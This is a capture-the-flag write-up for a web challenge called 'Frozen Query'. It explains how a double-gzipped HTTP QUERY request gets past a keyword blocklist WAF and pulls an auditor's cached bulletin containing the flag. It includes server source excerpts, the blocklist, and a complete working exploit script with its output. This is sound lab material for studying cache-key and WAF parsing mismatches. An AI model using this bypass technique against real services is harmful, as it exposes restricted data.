A photo of a mountain valley. One mountaintop has a flag drawn on it.

Glacier CTF 2026: Frozen Query

Challenge Author EmberZero
Solving Team KITCTF
Categoryweb
Jump to exploit script

The challenge

The Glacier Avalanche Service moved its bulletins to the shiny new HTTP QUERY method from RFC 10008. Thanks to the edge cache, the summit auditor’s reports are served faster than ever.

Only auditors may read the summit bulletin. Right?

https://frozen-query.web.glacierctf.com

The challenge also includes the server’s source code.

Setting up local testing

I built a quick testing environment early on so I could test and debug the challenge more easilly. This proved to be invaluable, so here are my patches for anyone whom may want to follow along. You can also download a modified version of the challange archive if you so please to.

Set up local testing
entrypoint.sh
@@ -1,6 +1,6 @@
 #!/bin/sh
-export PATH="/.venv/bin:$PATH"
-export FLAG=$(cat /flag.txt)
+export PATH="./.venv/bin:$PATH"
+export FLAG=$(cat ./flag.txt)
 export AUDIT_TOKEN=$(head -c 32 /dev/urandom | od -An -tx1 | tr -d ' \n')
-python3 /app/backend.py &
-exec python3 /app/app.py
+python3 ./src/backend.py &
+exec python3 ./src/app.py

I think something on my host might’ve taken up port 8000, or this was just an issue with how I re-ran the challenge. Either way, I changed src/backend.py’s port:

src/app.py
@@ -12,7 +12,7 @@
 from flask import Flask, Response, abort, jsonify, request
 from waitress import serve
 
-BACKEND = "http://127.0.0.1:8000"
+BACKEND = "http://127.0.0.1:8901"
 AUDIT_TOKEN = os.environ["AUDIT_TOKEN"]
 MAX_BODY = 16 * 1024
 MAX_CODINGS = 3
src/backend.py
@@ -12,7 +12,7 @@
 from flask import Flask, Response, abort, jsonify, request
 from waitress import serve
 
-BACKEND = "http://127.0.0.1:8000"
+BACKEND = "http://127.0.0.1:8901"
 AUDIT_TOKEN = os.environ["AUDIT_TOKEN"]
 MAX_BODY = 16 * 1024
 MAX_CODINGS = 3
Bash
$ python3 -m venv .venv
$ source .venv/bin/activate
$ pip install -r requirements.txt

These patches let me run the challenge locally, without Docker, by just entering the directory I extracted the source code to and executing ./entrypoint.sh (note: you don’t need to be in the venv you just set up for this to work). I quickly learned that, when I quit the challenge, backend.py kept running and taking up port 8901 so I had to manually kill it (lsof -i :8901, then kill the PID that comes up). I guess that’s what I get for not setting up a Docker container.

Reconnaissance

The (frontend) server allows visitors to send queries with a nice user interface. Here, the challenge authors helpfully put a default query: {"region": "ridge", "fields": ["level", "note"]}. When we use it, we get back something along the lines of:

HTTP 200
X-Cache: HIT
Cache-Control: public, max-age=30
Date: Fri, 20 Nov 2026 19:44:00 GMT

{"level":3,"note":"Considerable. Wind slabs on north aspects.","region":"ridge","window":null}

A quick look at backend.py tells us where the data is comming from:

src/backend.py
12
13
14
15
16
17
BULLETINS = {
    "valley": {"level": 1, "note": "Low danger. Enjoy the powder."},
    "ridge": {"level": 3, "note": "Considerable. Wind slabs on north aspects."},
    "glacier": {"level": 2, "note": "Moderate. Mind the crevasses."},
    "summit": {"level": 5, "note": "Extreme. Station closed to the public.", "flag": FLAG},
}

We found the flag! Let’s modify the default query to {"region": "summit", "fields": ["level", "flag"]} and get it!

HTTP 403
X-Cache: -
Cache-Control: -
Date: Sun, 22 Nov 2026 11:46:16 GMT

{"error":"blocked by glacier-edge"}

Well, it was woth a try.

Looking at app.py, a Flask app, we could spot a few interesting function names such as waf_allows(body, encoding), a few functions for some sort of cache and a long function called bulletin(), which handels QUERY1 requests to /api/bulletin. Being by far the longest handler, we assumed it played a major role in the challenge. The same script also has an auditor_loop() function that repeatedly connects to the frontend server to send a request. We’ll get to the auditor part in a bit.

Here are the first few lines of bulletin():

src/app.py
137
138
139
140
141
142
143
144
@app.route("/api/bulletin", methods=["QUERY"])
def bulletin():
    raw = request.get_data()
    encoding = request.headers.get("Content-Encoding", "")
    auditor = is_auditor()

    if not auditor and not waf_allows(raw, encoding):
        return jsonify(error="blocked by glacier-edge"), 403

is_auditor() turned out to be rather simple. It just checks for the auth token, but we modified it for the time being to always return True, bypassing the block we saw before. Think of this as “okay, but what if we (hypothetically) bypassed all the security checks in the frontend server?” We fired the query again and got this:

HTTP 403
X-Cache: MISS
Cache-Control: no-store
Date: Fri, 20 Nov 2026 19:56:39 GMT

{"error":"auditors only"}

Notice how the error messege is completely different from the previous one. In fact, the string auditors only doesn’t appear in app.py at all and comes from the backend instead:

src/app.py
37
38
39
40
41
    auditor = hmac.compare_digest(
        request.headers.get("Authorization", ""), f"Bearer {AUDIT_TOKEN}"
    )
    if (region == "summit" or RESTRICTED_FIELDS & set(fields)) and not auditor:
        return jsonify(error="auditors only"), 403

So the situation is as follows:

Cache poisoning, except the other way around

Remember the auditor? We realized its requests might get caught in the cache, so we took a closer look. Concerningly, Cache-Control was set to no-cache, so we were worried our newly formed cache theory would be short-lived. Two snippets matter here. With key being the cache key the function derived, here is how the script queries the cache:

src/app.py
157
158
159
160
    if "no-cache" not in request.headers.get("Cache-Control", ""):
        hit = cache_get(key)
        if hit:
            # return cached response

And if it queries the backend, this is how it caches the response:

src/app.py
180
181
182
183
184
185
    cc = headers["Cache-Control"].lower()
    ttl = max_age(cc)
    # RFC 9111 3.5: authenticated responses are only shared when marked public.
    shareable = not request.headers.get("Authorization") or "public" in cc
    if upstream.status_code == 200 and ttl and "no-store" not in cc and shareable:
        cache_put(key, ttl, upstream.status_code, headers, upstream.content)

Note: During the CTF, I was too hyperfixated on the last two line of the snippet. It is only now when I am creating this writeup that I notice the comment that claims “authenticated responses are only shared when marked public.” That’s just not what happens: sharable is always set when the auditor makes the request because the Authorization header is set and that’s sufficient.

As it turned out, Cache-Control being set to no-cache prevents cache lookups. It doesn’t prevent cache writes, though, so all we were missing for an attack on the cache was a way to replicate the cache keys. By now, I probably owe you the full auditor_loop() code:

src/app.py
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
def auditor_loop():
    # Re-checks the summit bulletin every few seconds, bypassing the cache.
    while True:
        query = {
            "region": "summit",
            "fields": ["level", "note", "flag"],
            "window": int(time.time() // 30),
        }
        try:
            requests.request(
                "QUERY",
                "http://127.0.0.1:1337/api/bulletin",
                data=json.dumps(query),
                headers={
                    "Authorization": f"Bearer {AUDIT_TOKEN}",
                    "Content-Type": "application/vnd.glacier.bulletin+json",
                    "Accept": "application/json",
                    "Cache-Control": "no-cache",
                },
                timeout=5,
            )
        except requests.RequestException:
            pass
        time.sleep(5)

And a couple of lines above it is the code that generates the cache keys:

src/app.py
146
147
148
149
150
151
152
153
154
155
    media_type = normalize_media_type(request.headers.get("Content-Type", ""))
    if media_type != "application/json":
        resp = jsonify(error="unsupported query media type")
        resp.status_code = 415
        resp.headers["Accept-Query"] = "application/json"
        return resp

    content = decode_content(raw, encoding)
    accept = request.headers.get("Accept", "*/*")
    key = cache_key(request.path, media_type, accept, content)

It turned out the cache key is actually super predictable and depends entirely on parameters anyone can set: We just needed to use our own clock to derive the data part and match the Content-Type and Accept headers. There is just one tiny major problem: The WAF needs to allow our request, and the WAF looks like this:

src/app.py
57
58
59
60
61
62
63
64
65
66
67
def waf_allows(body, encoding):
    # Peek through the transfer compression our SDK applies, then look at what
    # the query actually says.
    codings = parse_codings(encoding)
    if codings and codings[-1] == "gzip":
        body = gunzip(body)
    try:
        text = json.dumps(json.loads(body))
    except ValueError:
        text = body.decode("latin-1")
    return not any(word in text.lower() for word in BLOCKLIST)

Yet we need to get our request through with the blocklist being this ("flag", "summit").

Squeezing hard enough

We eventually came to realize that the kind of thing we were looking for was a difference in what waf_allows checks and what decode_content produces, so we took a good look at decode_content, too.

src/app.py
70
71
72
73
74
def decode_content(body, encoding):
    # RFC 10008 2.7: content codings are removed before keying.
    for _ in reversed(parse_codings(encoding)):
        body = gunzip(body)
    return body

It looked like decode_content doesn’t care about the encoding being gzip at all but waf_allows does. If, say, another encoding caused waf_allows to not gunzip body, it would miss the disallowed word. decode_content will still call gunzip (since there is still an encoding), letting us smuggle the payload. Then, we read parse_codings.

src/app.py
37
38
39
40
41
42
43
def parse_codings(header):
    codings = [c.strip().lower() for c in header.split(",") if c.strip()]
    if len(codings) > MAX_CODINGS:
        abort(413)
    if any(c != "gzip" for c in codings):
        abort(415)
    return codings

Appart from flexing the author’s Python skills, this function restricts the encodings to only gzip. Also, we’re only allowed MAX_CODINGS (which is 3) encodings. We considered what would happen if we supplied an empty header, which is allowed, but eventually we remembered decode_content would also stup gunzipping since it looped over the encodings.

Hold up, what happens if the server sees multiple gunzip encodings? The WAF still unzips once, but parse_codings does it as often as we tell it to2.

The exploit

To get the flag, we need to fetch it from the cache, where the auditor puts it every five seconds. A QUERY request that looks similiar to the request the auditor makes will be enough, even without authentication. The WAF would normally catch such a request but we gzip it twice so the WAF only gets through the first layer. parse_codings will reconstruct the request we wanted, though, meaning the cache keys match and we get the flag from the frontend.

Python implementation

This took me 43 minutes to write and you will appreciate it:

exploit.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3
import requests
import time
import json
import zlib

TARGET = "frozen-query.web.glacierctf.com"

query = {
    "region": "summit",
    "fields": ["level", "note", "flag"],
    "window": int(time.time() // 30),
}

headers = {
    "Content-Type": "application/vnd.glacier.bulletin+json",
    "Accept": "application/json",
    "Cache-Control": "no-store", # don't accidentally poison the cache
    "Content-Encoding": "gzip,gzip"
}

def gzip(data):
    return zlib.compress(data, wbits=31)

coded_query = bytes(json.dumps(query), "utf-8")
compressed_query = gzip(gzip(coded_query))
response = requests.request("QUERY", f"http://{TARGET}/api/bulletin",
                            data=compressed_query, headers=headers)

print(response.text)
Bash
$ ./exploit.py
{"flag":"gctf{QU3RY_c4ch3_k3y5_mu5t_c0v3r_th3_wh0l3_r3qu35t}","level":5,"note":"Extreme. Station closed to the public.","region":"summit","window":59840375}

Takeaways

so here’s what I learned:


  1. It was on that day that I learned HTTP had a QUERY method. I did not investigate. ↩︎

  2. As long as that is at most three times. ↩︎

Copyright 2026. All rights reserved.